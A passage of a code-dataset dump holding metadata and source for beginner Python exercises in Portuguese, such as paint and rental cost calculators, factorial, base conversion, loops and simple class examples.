\"content_id\": \"4761e05c9557a022aecedc8fd2d726e6b3a200fc\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 239,\n \"license_type\": \"permissive\",\n \"max_line_length\": 88,\n \"num_lines\": 6,\n \"path\": \"/Curso-Em-Video/M1/ex11.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nl = float(input('Digite a largura da parede: '))\\nh = float(input('Digite a altura da parede: '))\\narea = l * h\\ntlitro= area/2\\nprint(f'A quantidade de tinta necessaria para limpar uma parede de {area}m é {tlitro}L')\\n\"\n },\n {\n \"alpha_fraction\": 0.6377952694892883,\n \"alphanum_fraction\": 0.665354311466217,\n \"avg_line_length\": 27.22222137451172,\n \"blob_id\": \"1662dc7444ba0e77e4dcc228f0f9fd3003e170dc\",\n \"content_id\": \"a0347df1ecb2b5e51359dba37d0a0741c2049985\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 254,\n \"license_type\": \"permissive\",\n \"max_line_length\": 80,\n \"num_lines\": 9,\n \"path\": \"/Curso-Em-Video/M1/ex15.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nkm = float(input('Digite a Quantidade de Km rodados: '))\\ndia= int(input('Digite a quantidade de dias pelos quais o carro foi alugado: '))\\n\\ntkm =km * 0.15\\ntdia=dia *60.0\\ntotal= tkm + tdia\\n\\nprint(f'O total da viagem foi R${total}')\\n\"\n },\n {\n \"alpha_fraction\": 0.4695121943950653,\n \"alphanum_fraction\": 0.48170730471611023,\n \"avg_line_length\": 22.4761905670166,\n \"blob_id\": \"92c1d5d3d825a0ca2fcd017d2106df5c96fde0b7\",\n \"content_id\": \"8cef9c0c6cbd678ff91f477baea8446ebc347afe\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 496,\n \"license_type\": \"permissive\",\n \"max_line_length\": 50,\n \"num_lines\": 21,\n \"path\": \"/Curso-Em-Video/M3/ex102.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def fatorial(n, show=0):\\n \\\"\\\"\\\"\\n -> Calcula o Fatorial de um número.\\n :param n: O número a ser calculado\\n :param show: (opcional) mostra ou não a conta\\n :return: O valor de um fatorial de um número n\\n \\\"\\\"\\\"\\n f = 1\\n for i in range(n, 0, -1):\\n if show:\\n print(i, end='')\\n if i > 1:\\n print(' x ',end='')\\n else:\\n print(' = ',end='')\\n f*= i\\n return f\\n\\n\\nprint(fatorial(6, show=True))\\nhelp(fatorial)\"\n },\n {\n \"alpha_fraction\": 0.5099999904632568,\n \"alphanum_fraction\": 0.5600000023841858,\n \"avg_line_length\": 15.666666984558105,\n \"blob_id\": \"56800f950dd9baaf5efe8bd2cee5b6a48da2f7d3\",\n \"content_id\": \"2132dbc8956c161e542d5852fb530421428a48a5\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 200,\n \"license_type\": \"permissive\",\n \"max_line_length\": 47,\n \"num_lines\": 12,\n \"path\": \"/Curso-Em-Video/M1/ex23.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nn =str(input('Digite um numero de 0 a 9999: '))\\n\\nu =n[3]\\nd =n[2]\\nc =n[1]\\nm =n[0]\\n\\nprint(f'unidades:{u}')\\nprint(f'Dezenas: {d}')\\nprint(f'Centenas: {c}')\\nprint(f'Milhares: {m}')\\n\"\n },\n {\n \"alpha_fraction\": 0.6019999980926514,\n \"alphanum_fraction\": 0.6259999871253967,\n \"avg_line_length\": 30.28125,\n \"blob_id\": \"8cca38c5d77e2d009c8c53b0bb747e0cd8da96bc\",\n \"content_id\": \"7a8c7c964f82fae01cb8f61076e92cfd09c0ed48\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1005,\n \"license_type\": \"permissive\",\n \"max_line_length\": 66,\n \"num_lines\": 32,\n \"path\": \"/Curso-Em-Video/M3/mod110.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def aumentar(preco =0, taxa=0, formato=False):\\n res = preco + (preco * taxa/100)\\n return res if formato is False else moeda(res)\\n\\n\\ndef diminuir(preco = 0 , taxa=0, formato=False):\\n res = preco - (preco * taxa/100)\\n return res if formato is False else moeda(res)\\n\\n\\ndef dobro(preco =0, formato=False):\\n res = preco * 2\\n return res if formato is False else moeda(res)\\n\\n\\ndef metade(preco =0, formato=False):\\n res = preco/ 2\\n return res if formato is False else moeda(res)\\n\\ndef moeda(preco =0, moeda ='R$', format=False):\\n return f'{moeda}{preco:.2f}'.replace('.',',')\\n\\ndef resumo(preco, au, red):\\n print('-' * 40)\\n print('RESUMO DO VALOR'.center(40))\\n print('-'*40)\\n print(f'A Preço analiisado:\\\\t\\\\t{preco}')\\n print(f'Dobro do Preço:\\\\t\\\\t\\\\t{dobro(preco, True)}')\\n print(f'Metade do preço:\\\\t\\\\t{metade(preco)}')\\n print(f'{au}% de Aumento:\\\\t\\\\t\\\\t{aumentar(preco, au, True)}')\\n print(f'{red}% de Redução:\\\\t\\\\t\\\\t{diminuir(preco, red, True)}')\\n print('-' * 40)\"\n },\n {\n \"alpha_fraction\": 0.4819277226924896,\n \"alphanum_fraction\": 0.5180723071098328,\n \"avg_line_length\": 28.049999237060547,\n \"blob_id\": \"20d1ac2bb1c635cfed5ebe3844e88b19b4bbc867\",\n \"content_id\": \"94482a9b940193b547e34b54da2499ed59a76da1\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 582,\n \"license_type\": \"permissive\",\n \"max_line_length\": 74,\n \"num_lines\": 20,\n \"path\": \"/Curso-Em-Video/M2/ex69.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nprint('\\\\n Cadastre uma pessoa')\\nmaior = 0\\nh = 0\\nmm20 = 0\\nwhile True:\\n idade = int(input('Idade:'))\\n sexo = str(input('Sexo: [M/F] ')).upper()\\n op = str(input('Deseja continuar?[S/N] ')).upper()\\n if idade > 18:\\n maior +=1\\n if sexo == 'M':\\n h += 1\\n if sexo =='F' and idade < 20:\\n mm20+=1\\n if op =='N':\\n print(f'\\\\n O total de pessoas com mais de 18 anos é {maior}'\\n f'\\\\n Ao todo temos {h} homens cadastrados'\\n f'\\\\n E temos {mm20} mulheres com menos de 20 anos de idade')\\n break\\n\"\n },\n {\n \"alpha_fraction\": 0.5511810779571533,\n \"alphanum_fraction\": 0.5649606585502625,\n \"avg_line_length\": 32.86666488647461,\n \"blob_id\": \"a4f53c4fdf385e46c6984fc203d7371fb706bb14\",\n \"content_id\": \"f2c3c9ac27027e84044293d1fc809a03e3a53206\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 518,\n \"license_type\": \"permissive\",\n \"max_line_length\": 61,\n \"num_lines\": 15,\n \"path\": \"/Curso-Em-Video/M2/ex37.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nn = int(input('Digite um valor para ser convertido: '))\\nop= int(input(\\\"\\\"\\\"Escoolha uma opção para converter a base:\\n \\\\n [1] - Binarios\\n \\\\n [2] - Octal\\n \\\\n [3] - Hexadecimal\\n \\\"\\\"\\\"))\\nif op == 1:\\n print('O número {} em binario é {}'.format(n,bin(n)))\\nelif op == 2:\\n print('O número {} em octal é {}'.format(n,oct(n)))\\nelif op ==3:\\n print('O número {} em hexadecimal é {}'.format(n,hex(n)))\\nelse:\\n print('Opção invalida, por favor tente novamente.')\\n\"\n },\n {\n \"alpha_fraction\": 0.6120689511299133,\n \"alphanum_fraction\": 0.6206896305084229,\n \"avg_line_length\": 37.66666793823242,\n \"blob_id\": \"520eabad2910186712a5a48ca919f6e748dce26c\",\n \"content_id\": \"ce8926c2052056900f07abb88675ac9ffb6db6ab\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 118,\n \"license_type\": \"permissive\",\n \"max_line_length\": 49,\n \"num_lines\": 3,\n \"path\": \"/Curso-Em-Video/M1/ex25.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nnome = str(input('Digite o seu nome completo: '))\\nprint(\\\"Você é um silva? \\\",'Silva'in nome)\\n\"\n },\n {\n \"alpha_fraction\": 0.6569873094558716,\n \"alphanum_fraction\": 0.6823956370353699,\n \"avg_line_length\": 38.35714340209961,\n \"blob_id\": \"021afcd0b4535e769b8e8f4bd91960e538699b98\",\n \"content_id\": \"81097dd0412ae34f79cc996f0789ea0b0873e84f\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 554,\n \"license_type\": \"permissive\",\n \"max_line_length\": 94,\n \"num_lines\": 14,\n \"path\": \"/Curso-Em-Video/M2/ex36.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nvalor = float(input('Digite o valor da casa: '))\\nsal = float(input('Digite o valor do seu salario: '))\\nqtd_anos =int(input('Em quantos anos você pretende pagar?'))\\n\\nparcela = valor/(qtd_anos*12)\\nlim = sal + (sal * 30/100)\\n\\nif parcela > lim:\\n print(f'O valor do emprestimo execedeu 30% por tanto não é pssivel realizar o emprestimo')\\nelif parcela == lim:\\n print(f'O emprestimo foi aprovado, com {qtd_anos*12} parcelas de {parcela} ')\\nelse:\\n print(f'O emprestimo foi aprovado, com {qtd_anos*12} parcelas de {parcela} ')\\n\"\n },\n {\n \"alpha_fraction\": 0.529540479183197,\n \"alphanum_fraction\": 0.5437636971473694,\n \"avg_line_length\": 26.66666603088379,\n \"blob_id\": \"06e6df70ce73709c5e7dc64ae7f23e3c906eb148\",\n \"content_id\": \"167b71f493e9b1f2db2a853fb1fe04c44e0e6fc4\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 914,\n \"license_type\": \"permissive\",\n \"max_line_length\": 59,\n \"num_lines\": 33,\n \"path\": \"/Curso-Em-Video/M3/ex84.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\ntotal = list()\\npeoples = list()\\ngreat = 0\\nlower = 0\\nwhile True:\\n name = str(input('Digite o nome: '))\\n peoples.append(name)\\n wheigth = float(input('Digite o peso da pessoa: '))\\n peoples.append(wheigth)\\n if len(total) == 0:\\n great = lower = peoples[1]\\n else:\\n if peoples[1] > great:\\n great = peoples[1]\\n if peoples[1] < lower:\\n lower = peoples[1]\\n total.append(peoples[:])\\n peoples.clear()\\n option = str(input('Deseja continuar? [S/N] ')).upper()\\n if option == 'N':\\n break\\nprint(f'\\\\n A lista formada foi: {total}'\\n f'\\\\n No total de :{len(total)} pessoas')\\nprint(f'O maior peso foi {great} do ',end='')\\nfor p in total:\\n if p[1] == great:\\n print(f'[{p[0]}]', end=' ')\\nprint()\\nprint(f'O menor peso foi de {lower} do ',end='')\\nfor p in total:\\n if p[1] == lower:\\n print(f'[{p[0]}]', end=' ')\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6265060305595398,\n \"alphanum_fraction\": 0.6578313112258911,\n \"avg_line_length\": 26.66666603088379,\n \"blob_id\": \"99275e2fadd4c26baf2143d148cb5c387d16a2a0\",\n \"content_id\": \"bf28d5b07f96b411deb00d2483ef8bde2dab2cd3\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 429,\n \"license_type\": \"permissive\",\n \"max_line_length\": 90,\n \"num_lines\": 15,\n \"path\": \"/Curso-Em-Video/M1/oparitmeticos.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n\\\"\\\"\\\"\\n-> + soma\\n-> - subração\\n-> * multiplicação\\n-> / divisão\\n-> // divisão inteira\\n-> % módulo\\n-> ** potencia\\n* A ordem de precedencia é a mesma da matematica.\\n* formatação com print\\n{:>20}.format(string) -> alinhamento a direita com 20 espaços\\n{:^20}.format(string) -> Centralizado em 20 espaços\\n{:=^20}.format(string) -> centraliza em 20 espaçoos prenchendo os que estão vazios com '='\\n\\\"\\\"\\\"\\n\"\n },\n {\n \"alpha_fraction\": 0.6034482717514038,\n \"alphanum_fraction\": 0.6231527328491211,\n \"avg_line_length\": 35.90909194946289,\n \"blob_id\": \"38be3ece68c0b57037e3460215f188aa1b6b61f4\",\n \"content_id\": \"85d2bee4fdbfa702ffe50b531252b0a84f7bca6e\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 413,\n \"license_type\": \"permissive\",\n \"max_line_length\": 90,\n \"num_lines\": 11,\n \"path\": \"/Curso-Em-Video/M2/ex58.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nimport random\\nc = 0\\nn = int(input('Digite um número: '))\\npc = random.randint(0,10)\\nwhile n != pc:\\n print(f'O Numero que eu pensei era {pc} e você disse {n} infelizmente você errou!!')\\n pc = random.randint(0,10)\\n n = int(input('Tente novamente, digite um número: '))\\n if n == pc:\\n print(f'O Numero que eu pensei era {pc} e você disse {n} Parabéns você acertou!!')\\n\"\n },\n {\n \"alpha_fraction\": 0.5664335489273071,\n \"alphanum_fraction\": 0.6013985872268677,\n \"avg_line_length\": 34.75,\n \"blob_id\": \"e73313134b525391d0a77843a90c3d9c54c64695\",\n \"content_id\": \"1fbe100b9c5d741b612a3c5e0fa1d0966c6df251\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 146,\n \"license_type\": \"permissive\",\n \"max_line_length\": 50,\n \"num_lines\": 4,\n \"path\": \"/Curso-Em-Video/M1/ex12.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\np = float(input(\\\"Digite o preço do produto: \\\"))\\ndesc = p - (p*0.05)\\nprint(f'O novo preço com 5% de desconto é {desc}')\\n\"\n },\n {\n \"alpha_fraction\": 0.4898785352706909,\n \"alphanum_fraction\": 0.5506072640419006,\n \"avg_line_length\": 26.44444465637207,\n \"blob_id\": \"9b9c0431b7ed882477544e351c455de21f7d159c\",\n \"content_id\": \"799787dd283a5310ad6743ae7c6d7dd5630ce025\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 251,\n \"license_type\": \"permissive\",\n \"max_line_length\": 53,\n \"num_lines\": 9,\n \"path\": \"/Curso-Em-Video/M1/ex34.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nsal = float(input('Digite o valor do seu salário: '))\\n\\nif sal > 1250:\\n nsal = sal + (sal * (10/100))\\n print(f'O novo salario é : {nsal}')\\nelse:\\n nsal = sal +(sal * (15/100))\\n print(f'O novo salário é : {nsal}')\\n\"\n },\n {\n \"alpha_fraction\": 0.8142292499542236,\n \"alphanum_fraction\": 0.8142292499542236,\n \"avg_line_length\": 24.399999618530273,\n \"blob_id\": \"1d76a0079037fedfed9aff7a88a24c90209932a1\",\n \"content_id\": \"36333281e9e4865207c3bf4774bbe9190387a62b\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 255,\n \"license_type\": \"permissive\",\n \"max_line_length\": 40,\n \"num_lines\": 10,\n \"path\": \"/PythonPOO/Associacao/main.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from Escritor import Escritor\\nfrom Escritor import Caneta\\nfrom Escritor import MaquinaDeEscrever\\n\\nescritor = Escritor('Joseph')\\ncaneta = Caneta('Bic')\\nMaquina = MaquinaDeEscrever()\\n\\nescritor.ferramenta = caneta #associação\\nescritor.ferramenta.escrever()\"\n },\n {\n \"alpha_fraction\": 0.5584415793418884,\n \"alphanum_fraction\": 0.6883116960525513,\n \"avg_line_length\": 25,\n \"blob_id\": \"c0ea85eac8565774b49df79cbf56785fc640aaec\",\n \"content_id\": \"387d12ea5e4300655db3ebf011687244c0a0efa9\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 77,\n \"license_type\": \"permissive\",\n \"max_line_length\": 38,\n \"num_lines\": 3,\n \"path\": \"/Curso-Em-Video/M3/ex111.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import mod111\\np = float(input('Digite o preco: R$'))\\nmod111.resumo(p, 80 ,35)\"\n },\n {\n \"alpha_fraction\": 0.5027777552604675,\n \"alphanum_fraction\": 0.5333333611488342,\n \"avg_line_length\": 26.69230842590332,\n \"blob_id\": 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\"Python\",\n \"length_bytes\": 919,\n \"license_type\": \"permissive\",\n \"max_line_length\": 58,\n \"num_lines\": 29,\n \"path\": \"/Curso-Em-Video/M2/ex59.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nmaior = 0\\nop = 0\\nn1 = int(input('Digite o primeiro número: '))\\nn2 = int(input('Digite o segundo número: '))\\nwhile op != 5:\\n op = int(input('O que deseja fazer?'\\n '\\\\n[1] -> somar'\\n '\\\\n[2] -> multiplicar'\\n '\\\\n[3] -> maior'\\n '\\\\n[4] -> novos números'\\n '\\\\n[5] -> sair do programa'))\\n if op == 1:\\n s =n1+n2\\n print(f' {n1} + {n2} = {s}')\\n elif op == 2:\\n m = n1 * n2\\n print(f' {n1} X {n2} = {m}')\\n elif op == 3:\\n if n1> n2:\\n maior = n1\\n print(f'O Maior número é {maior}')\\n else:\\n maior = n2\\n print(f'O maior número é {maior}')\\n elif op== 4:\\n print('\\\\n Escolha novos números')\\n n1 =int(input('Digite o primeiro numero: '))\\n n2 =int(input('Digite o segundo número: '))\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6186612844467163,\n \"alphanum_fraction\": 0.6384381055831909,\n \"avg_line_length\": 36.92307662963867,\n \"blob_id\": \"8febc055639483f1bc5e48143d8a41ffb7a2df10\",\n \"content_id\": \"3343b3bac8db2e981ae188239addcf634e742bcd\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1990,\n \"license_type\": \"permissive\",\n \"max_line_length\": 107,\n \"num_lines\": 52,\n \"path\": \"/Curso-Em-Video/M1/strings.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n\\\"\\\"\\\"\\n* podemos fatiar uma string da seguinte maneira:\\n -> frase = 'curso em video python'\\n -> cada letra representa um espaço na memoria no total temos 21(contando com os espaços)\\n frase[9:21]\\n -> o Comando a cima indica que queremos mostra do espaço nove até o 20(o ultimo sempre é ignorado)\\n frase[9:21:2]\\n -> o terceiro parametro indica que iremos percorrer de 9 a 20 de 2 em 2 casas\\n frase[:5]\\n -> do 0 até o 4\\n frase[15:]\\n -> do 15 até o fim\\n fase[3::9]\\n -> de 3 a 9 pulando de 3 em 3\\n* funções\\n # len(frase)\\n -> mostra a quantidade de caracteres que a string possui(neste caso 21)\\n # frase.count('o')\\n -> conta a quantidade de caracteres 'o' existem dentro da string\\n -> Podemos usar o fatiamento adicionando mais dois parametros ex: fase.cont('o',0,13)\\n conte 'o' de 0 a 13\\n # fase.find('deo')\\n -> mostra o numeros da string relacionados aos caracteres especificados, em outras palavras\\n em que numero começa a sequencia 'deo' caso o parametro não exista na string a função retornra\\n -1\\n # 'curso' in frase\\n -> verifica se existe a string curso em frase\\n #fase.replace('python','android')\\n -> troca o primeiro parametro pelo segundo\\n # fase.lower()\\n -> deixa minusculo\\n #fase.upper()\\n -> deixa maiusculo\\n\\n #fase.capitalize()\\n -> deixa apenas o primeiro caracter maiusculo\\n\\n #frase.title()\\n -> A primeira letra de todas as palavras da string será maiscula\\n #frase.strip()\\n -> remove os espaços vazios no inicio e no fim da string\\n -> lstrip remove os espaços da esquerda\\n #frase.split()\\n -> gera uma lista com as palavras separadas entre espaços da string\\n #'-'.join(frase)\\n -> transfor uma lista em uma string única, o que vem antes do ponto ficara entre as strings unidas.\\n\\n\\n\\\"\\\"\\\"\\nfrase = 'Curso em video python'\\nprint(frase.count('O'))\\n\"\n },\n {\n \"alpha_fraction\": 0.5609756112098694,\n \"alphanum_fraction\": 0.5640243887901306,\n \"avg_line_length\": 26.33333396911621,\n \"blob_id\": \"b4dca977fc4cda14d7d023893c1954ebbaee2886\",\n \"content_id\": \"ecfa88f8c2f23c82e02fda2a7849d2da9467b6cf\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 329,\n \"license_type\": \"permissive\",\n \"max_line_length\": 55,\n \"num_lines\": 12,\n \"path\": \"/Curso-Em-Video/M3/ex79.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nvetor = []\\nwhile True:\\n n = int(input('Digite um numero: '))\\n if n not in vetor:\\n vetor.append(n)\\n else:\\n print('valor Duplicado não irei adicionar!!!')\\n op = str(input('Deseja continuar? [S/N] ')).upper()\\n if op == 'N':\\n break\\nprint(f'O vetor gerado foi: {sorted(vetor)}')\\n\"\n },\n {\n \"alpha_fraction\": 0.5995423197746277,\n \"alphanum_fraction\": 0.6384439468383789,\n \"avg_line_length\": 26.3125,\n \"blob_id\": \"f0492d1f47b1882261f13fe6945d120d3f87ba3b\",\n \"content_id\": \"dd727ad58de3232e65accf9dc9606a0de69580d9\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 442,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 16,\n \"path\": \"/Curso-Em-Video/M2/ex39.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n\\n\\nnas = int(input('Digite o ano de seu nascimento: '))\\nano = 2020\\n\\nidade = ano - nas\\n\\nif idade < 18:\\n falta = 18 - idade\\n print(f'você tem {idade} anos, ainda faltam {falta} anos para você se alistar')\\nelif idade > 18:\\n passou = idade - 18\\n print(f'Você tem {idade} anos, está {passou} anos atrazado para o seu alisamento!')\\nelif idade == 18:\\n print(f'Você tem 18 anos deve se alista esse ano!!!')\\n\"\n },\n {\n \"alpha_fraction\": 0.37755101919174194,\n \"alphanum_fraction\": 0.43877550959587097,\n \"avg_line_length\": 23.75,\n \"blob_id\": \"1993cf095f6a146a890134f291cf8a1e55b846dd\",\n \"content_id\": \"c4dba121655235fb54688e7e5f77008d5161f7f2\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 98,\n \"license_type\": \"permissive\",\n \"max_line_length\": 36,\n \"num_lines\": 4,\n \"path\": \"/curso_monitoria/for_encadeado.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"for i in range(11):\\n for j in range(11):\\n print(i, \\\"x\\\", j,\\\" = \\\",i * j)\\n print(\\\"=\\\"*30)\"\n },\n {\n \"alpha_fraction\": 0.5861618518829346,\n \"alphanum_fraction\": 0.5900783538818359,\n \"avg_line_length\": 23.74193572998047,\n \"blob_id\": \"eeb21f2c3f7532cc278498bbcc77aee4b314fbe8\",\n \"content_id\": \"32ceb3a1f9a57f0558070eef83822de2a96ce72e\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 767,\n \"license_type\": \"permissive\",\n \"max_line_length\": 57,\n \"num_lines\": 31,\n \"path\": \"/PythonPOO/Encapsulamento.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"\\nPublic, protected, private\\n_ protected(public _)\\n__ private (_NOMECLASSE__NOMEATRIBUTO)\\n\\\"\\\"\\\"\\nclass BaseDeDados:\\n def __init__(self):\\n self.__dados = {}\\n\\n @property\\n def dados(self):\\n return self.__dados\\n\\n def inserir_cliente(self, id, nome):\\n if 'clientes' not in self.__dados:\\n self.__dados['clientes'] = {id: nome}\\n else:\\n self.__dados['clientes'].update({id: nome})\\n\\n def lista_clientes(self):\\n for id, nome in self.__dados['clientes'].items():\\n print(id, nome)\\n\\n def apaga_cliente(self, id):\\n del self.__dados['clientes'][id]\\n\\nbd = BaseDeDados()\\nbd.inserir_cliente(1,'Otávio')\\nbd.inserir_cliente(2, 'Miranda')\\nbd.inserir_cliente(3, 'Rose')\\nprint(bd.lista_clientes())\"\n },\n {\n \"alpha_fraction\": 0.5862069129943848,\n \"alphanum_fraction\": 0.5862069129943848,\n \"avg_line_length\": 24,\n \"blob_id\": \"cee28ddea1233343d46cce013c0f4aff59d33499\",\n \"content_id\": \"967f7b2fbc20c64885e7524ffc93f5e454e6687b\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 174,\n \"license_type\": \"permissive\",\n \"max_line_length\": 52,\n \"num_lines\": 7,\n \"path\": \"/curso_monitoria/matriz.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"print(\\\"Vamos criar um tabuleiro de tamanho: N x N\\\")\\nn=int(input(\\\"Valor de N: \\\") )\\n\\nfor linha in range(n):\\n for coluna in range(n):\\n print(\\\"x \\\",end='')\\n print()\"\n },\n {\n \"alpha_fraction\": 0.5786119103431702,\n \"alphanum_fraction\": 0.5864022374153137,\n \"avg_line_length\": 26.173076629638672,\n \"blob_id\": \"7cae4040ebcc59c78deceb6ca3226800caf0bc5d\",\n \"content_id\": \"4878bfb9a5b8bf48668008186a30a0a153c0b6d8\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1437,\n \"license_type\": \"permissive\",\n \"max_line_length\": 97,\n \"num_lines\": 52,\n \"path\": \"/Geek-University/Seção3/Boas Praticas.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"\\n# Index of python enhacement proposals(PEPS)\\n -> São propostas de melhoria para a linguagem python\\n The Zen of python\\n import this\\n A ideia da PEP8 é que possamos escrever códigos Phython de forma pythônica.\\n\\n [1] - Utilize camel case para nomes de classes;\\n\\n Class Calculadora:\\n pass\\n\\n Class CalculadoraCientifica:\\n pass\\n\\n [2] - Utilize nomes em minusculo, separados por underline para funções e variaveis;\\n\\n def soma():\\n pass\\n\\n def soma_dois():\\n pass\\n\\n numero = 4\\n\\n numero_impar = 5\\n\\n [3] - Utilize 4 espaços para indentação!(não use tab)\\n if 'a' in 'banana':\\n print(team)\\n\\n [4] - Linas em branco\\n - Separar funções e definições de classe com duas linhas em branco;\\n - Métodos deentro de uma classe devem ser separados com uma única linha em branco;\\n\\n [5] - Imports\\n - Imports devem ser sempre feitos em linhas separadas;\\n - Os imports devem ser colocados no topo do arquivo, antes de qualquer variavel ou função\\n import sys\\n import os\\n\\n ou\\n fom types import (\\n StringType,\\n ListType,\\n SetType,\\n OutroType\\n )\\n [6] - Não coloque espaço entre expressões e instruções\\n\\n [7] - Termine sempre uma instrução com uma nova linha\\n\\\"\\\"\\\"\"\n },\n {\n \"alpha_fraction\": 0.5179855823516846,\n \"alphanum_fraction\": 0.5251798629760742,\n \"avg_line_length\": 23.52941131591797,\n \"blob_id\": \"a220ee98083fe59318af6cb5fb93fb04c36339a0\",\n \"content_id\": \"b34ebbf1610efa3662f245a7e51d2565bc90f3aa\",\n \"detected_licenses\": [\n 